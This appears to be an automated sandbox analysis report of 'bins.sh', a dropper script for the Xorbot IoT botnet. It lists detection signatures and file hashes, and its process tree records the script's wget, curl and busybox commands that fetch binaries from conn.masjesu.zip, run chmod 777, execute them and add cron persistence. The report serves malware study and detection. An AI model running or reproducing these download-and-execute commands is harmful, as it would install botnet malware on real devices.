Analysis

  • max time kernel
    150s
  • max time network
    155s
  • platform
    debian-9_mips
  • resource
    debian9-mipsbe-20240611-en
  • resource tags

    arch:mipsimage:debian9-mipsbe-20240611-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipssystem
  • submitted
    10/12/2024, 02:11

General

  • Target

    bins.sh

  • Size

    10KB

  • MD5

    64d402f0a0a2ce9904e220655a841874

  • SHA1

    af58538a9087759fa68940dd07fc213c90453d6e

  • SHA256

    d2c69d622a16ea34a0f077cd91e007e0609d09ee988a313aa6e66b205a5e2d62

  • SHA512

    c790379e6a25a775974e18cb88dcba34fcc0db544ef84653e6b013d9c3f02463e164ae50cfdb70711ab34e3a609bf944ec02aba2ce97711d99368336f83a5c9b

  • SSDEEP

    192:gzxNJy/HLxBohTP8ylRw3OA5NJy/HtxBohTPu+J:yxNJy/HESyTw3OaNJy/H6bJ

Malware Config

Signatures

  • Detects Xorbot 4 IoCs
  • Xorbot

    Xorbot is a linux botnet and trojan targeting IoT devices.

  • Xorbot family
  • Contacts a large (962) amount of remote hosts 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • File and Directory Permissions Modification 1 TTPs 5 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 5 IoCs
  • Renames itself 1 IoCs
  • Creates a large amount of network flows 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • Creates/modifies Cron job 1 TTPs 1 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

  • System Network Configuration Discovery 1 TTPs 16 IoCs

    Adversaries may gather information about the network configuration of a system.

  • Writes file to tmp directory 15 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/bins.sh
    /tmp/bins.sh
    1⤵
      PID:697
      • /bin/rm
        /bin/rm bins.sh
        2⤵
          PID:704
        • /usr/bin/wget
          wget http://conn.masjesu.zip/bins/vgHi6skJ05nZ29FwpP2WR9fswM92p0VxHr
          2⤵
          • System Network Configuration Discovery
          • Writes file to tmp directory
          PID:707
        • /usr/bin/curl
          curl -O http://conn.masjesu.zip/bins/vgHi6skJ05nZ29FwpP2WR9fswM92p0VxHr
          2⤵
          • System Network Configuration Discovery
          • Writes file to tmp directory
          PID:721
        • /bin/busybox
          /bin/busybox wget http://conn.masjesu.zip/bins/vgHi6skJ05nZ29FwpP2WR9fswM92p0VxHr
          2⤵
          • System Network Configuration Discovery
          • Writes file to tmp directory
          PID:731
        • /bin/chmod
          chmod 777 vgHi6skJ05nZ29FwpP2WR9fswM92p0VxHr
          2⤵
          • File and Directory Permissions Modification
          PID:776
        • /tmp/vgHi6skJ05nZ29FwpP2WR9fswM92p0VxHr
          ./vgHi6skJ05nZ29FwpP2WR9fswM92p0VxHr
          2⤵
          • Executes dropped EXE
          PID:777
        • /bin/rm
          rm vgHi6skJ05nZ29FwpP2WR9fswM92p0VxHr
          2⤵
            PID:780
          • /usr/bin/wget
            wget http://conn.masjesu.zip/bins/JXg1LV0nFuC0q1JIUyVKCb9zIdST79W69K
            2⤵
            • System Network Configuration Discovery
            • Writes file to tmp directory
            PID:781
          • /usr/bin/curl
            curl -O http://conn.masjesu.zip/bins/JXg1LV0nFuC0q1JIUyVKCb9zIdST79W69K
            2⤵
            • System Network Configuration Discovery
            • Writes file to tmp directory
            PID:783
          • /bin/busybox
            /bin/busybox wget http://conn.masjesu.zip/bins/JXg1LV0nFuC0q1JIUyVKCb9zIdST79W69K
            2⤵
            • System Network Configuration Discovery
            • Writes file to tmp directory
            PID:785
          • /bin/chmod
            chmod 777 JXg1LV0nFuC0q1JIUyVKCb9zIdST79W69K
            2⤵
            • File and Directory Permissions Modification
            PID:786
          • /tmp/JXg1LV0nFuC0q1JIUyVKCb9zIdST79W69K
            ./JXg1LV0nFuC0q1JIUyVKCb9zIdST79W69K
            2⤵
            • Executes dropped EXE
            PID:787
          • /bin/rm
            rm JXg1LV0nFuC0q1JIUyVKCb9zIdST79W69K
            2⤵
              PID:789
            • /usr/bin/wget
              wget http://conn.masjesu.zip/bins/4EZ0HJJsDafukrEtMEPP58eBQbQYksKpmS
              2⤵
              • System Network Configuration Discovery
              • Writes file to tmp directory
              PID:790
            • /usr/bin/curl
              curl -O http://conn.masjesu.zip/bins/4EZ0HJJsDafukrEtMEPP58eBQbQYksKpmS
              2⤵
              • System Network Configuration Discovery
              • Writes file to tmp directory
              PID:791
            • /bin/busybox
              /bin/busybox wget http://conn.masjesu.zip/bins/4EZ0HJJsDafukrEtMEPP58eBQbQYksKpmS
              2⤵
              • System Network Configuration Discovery
              • Writes file to tmp directory
              PID:793
            • /bin/chmod
              chmod 777 4EZ0HJJsDafukrEtMEPP58eBQbQYksKpmS
              2⤵
              • File and Directory Permissions Modification
              PID:794
            • /tmp/4EZ0HJJsDafukrEtMEPP58eBQbQYksKpmS
              ./4EZ0HJJsDafukrEtMEPP58eBQbQYksKpmS
              2⤵
              • Executes dropped EXE
              PID:795
            • /bin/rm
              rm 4EZ0HJJsDafukrEtMEPP58eBQbQYksKpmS
              2⤵
                PID:797
              • /usr/bin/wget
                wget http://conn.masjesu.zip/bins/VrBzRSRt900WDgDWPnmmqQMMJOhvS7H4cH
                2⤵
                • System Network Configuration Discovery
                • Writes file to tmp directory
                PID:798
              • /usr/bin/curl
                curl -O http://conn.masjesu.zip/bins/VrBzRSRt900WDgDWPnmmqQMMJOhvS7H4cH
                2⤵
                • Reads runtime system information
                • System Network Configuration Discovery
                • Writes file to tmp directory
                PID:807
              • /bin/busybox
                /bin/busybox wget http://conn.masjesu.zip/bins/VrBzRSRt900WDgDWPnmmqQMMJOhvS7H4cH
                2⤵
                • System Network Configuration Discovery
                • Writes file to tmp directory
                PID:831
              • /bin/chmod
                chmod 777 VrBzRSRt900WDgDWPnmmqQMMJOhvS7H4cH
                2⤵
                • File and Directory Permissions Modification
                PID:832
              • /tmp/VrBzRSRt900WDgDWPnmmqQMMJOhvS7H4cH
                ./VrBzRSRt900WDgDWPnmmqQMMJOhvS7H4cH
                2⤵
                • Executes dropped EXE
                PID:833
              • /bin/rm
                rm VrBzRSRt900WDgDWPnmmqQMMJOhvS7H4cH
                2⤵
                  PID:835
                • /usr/bin/wget
                  wget http://conn.masjesu.zip/bins/FfXz8KsCMlOt8rpdx4QezoHZGOaLHUtxoo
                  2⤵
                  • System Network Configuration Discovery
                  • Writes file to tmp directory
                  PID:836
                • /usr/bin/curl
                  curl -O http://conn.masjesu.zip/bins/FfXz8KsCMlOt8rpdx4QezoHZGOaLHUtxoo
                  2⤵
                  • System Network Configuration Discovery
                  • Writes file to tmp directory
                  PID:837
                • /bin/busybox
                  /bin/busybox wget http://conn.masjesu.zip/bins/FfXz8KsCMlOt8rpdx4QezoHZGOaLHUtxoo
                  2⤵
                  • System Network Configuration Discovery
                  • Writes file to tmp directory
                  PID:839
                • /bin/chmod
                  chmod 777 FfXz8KsCMlOt8rpdx4QezoHZGOaLHUtxoo
                  2⤵
                  • File and Directory Permissions Modification
                  PID:840
                • /tmp/FfXz8KsCMlOt8rpdx4QezoHZGOaLHUtxoo
                  ./FfXz8KsCMlOt8rpdx4QezoHZGOaLHUtxoo
                  2⤵
                  • Executes dropped EXE
                  • Renames itself
                  • Reads runtime system information
                  PID:841
                  • /bin/sh
                    sh -c "crontab -l"
                    3⤵
                      PID:843
                      • /usr/bin/crontab
                        crontab -l
                        4⤵
                          PID:844
                      • /bin/sh
                        sh -c "crontab -"
                        3⤵
                          PID:845
                          • /usr/bin/crontab
                            crontab -
                            4⤵
                            • Creates/modifies Cron job
                            PID:846
                      • /bin/rm
                        rm FfXz8KsCMlOt8rpdx4QezoHZGOaLHUtxoo
                        2⤵
                          PID:848
                        • /usr/bin/wget
                          wget http://conn.masjesu.zip/bins/NRFmLYANVR307Zb6Hcc6XCb00sa3omKakZ
                          2⤵
                          • System Network Configuration Discovery
                          PID:851

                      Network

                      MITRE ATT&CK Enterprise v15

                      Replay Monitor

                      Loading Replay Monitor...

                      Downloads

                      • /tmp/4EZ0HJJsDafukrEtMEPP58eBQbQYksKpmS

                        Filesize

                        99KB

                        MD5

                        9438d9bc392bcf300a5583b6df5bc8f6

                        SHA1

                        375a6ae34b516f6f3eeea8030c4084f585017efa

                        SHA256

                        68e6282ed9046c9e22dbdf051dc03956803a46805f599e8cb9b52b993caa8f1e

                        SHA512

                        1f3e4219359a28c0f6373c0369da2b5dc0e89789afb89664627d8d9e37d4b72da36322b4015491d7daa03e46dff07d39f00dca18f274e9623dab0ff2d869c860

                      • /tmp/FfXz8KsCMlOt8rpdx4QezoHZGOaLHUtxoo

                        Filesize

                        151KB

                        MD5

                        3c90d5820bddcf7c5d1bd21dfa49d958

                        SHA1

                        5ba05bd489e50af97d6dc45e3a0be60e494d5083

                        SHA256

                        bdebb67266d5f96b7d85cfb9644deee81161b54b60b0fded6cf36544a15fa9b2

                        SHA512

                        54a0e2ec10040634100fb5c4bddc35f558471f4ff833f9ad20f16ffd14c286cf251841bdaad7c557c3c78efc2094db91038c195c0ddabdecf9beac97ff2ce01a

                      • /tmp/JXg1LV0nFuC0q1JIUyVKCb9zIdST79W69K

                        Filesize

                        112KB

                        MD5

                        05d7857dcead18bbd86d2935f591873c

                        SHA1

                        34d18f41ef35f93d5364ce3e24d74730a4e91985

                        SHA256

                        2cb1fa4742268fb0196613aee7a39a08a0707b3ef8853280d5060c44f3650d70

                        SHA512

                        d1793861067758a064ac1d59c80c78f9cb4b64dd680ab4a62dd050156dc0318dde590c7b44c1184c9ee926f73c3fc242662e42645faab6685ecef9d238d2e53e

                      • /tmp/VrBzRSRt900WDgDWPnmmqQMMJOhvS7H4cH

                        Filesize

                        127KB

                        MD5

                        89077b7bd4bcafca7713be43635c4862

                        SHA1

                        fc02edb8fba29ea8ee99e6157ef8560334530052

                        SHA256

                        78416feab0c93152d65acc8f48835520db083cc3aed0aea622b9fb88284dc00d

                        SHA512

                        1b457b8f8d452eecaad9013241e50672befb70feb5349f5fa72d62ea1fa8affa968763e6511cc76cdc5bf12f080e4a8f10c8e141ccd0d36794e721d690f2c4b1

                      • /tmp/vgHi6skJ05nZ29FwpP2WR9fswM92p0VxHr

                        Filesize

                        117KB

                        MD5

                        849fa04ef88a8e8de32cb2e8538de5fe

                        SHA1

                        c768af29fe4b6695fff1541623e8bbd1c6f242f7

                        SHA256

                        8bc5e3bff5150738699927ca2b95f3e3bfd87aed44c30fc61fac788248528579

                        SHA512

                        2d8a8b2f04b494f95740b6f6315a71b40d9b2099922232791604b970a4533d1c51fa6deb6d2f3b4ce71b4795b842c1af75cd06981c81c94d4a87698be9d920cf

                      • /var/spool/cron/crontabs/tmp.hL9jC1

                        Filesize

                        210B

                        MD5

                        f57be85ae64a365e3b9fe49f46fdcf04

                        SHA1

                        f0491e108bb25912f334db54518e6a031cf4914c

                        SHA256

                        4d66842abb2cde8fe77c352187655b7b25996d8afb0412a211a2b4743677a47a

                        SHA512

                        fc5f74205e5b86d8a6a410504c956880efc2c490b03178e8597f862ada031d04b5bdbc0a1c844ac3b4cd910f45c443e1c4cd2922dc4b67dd8765534f2696979d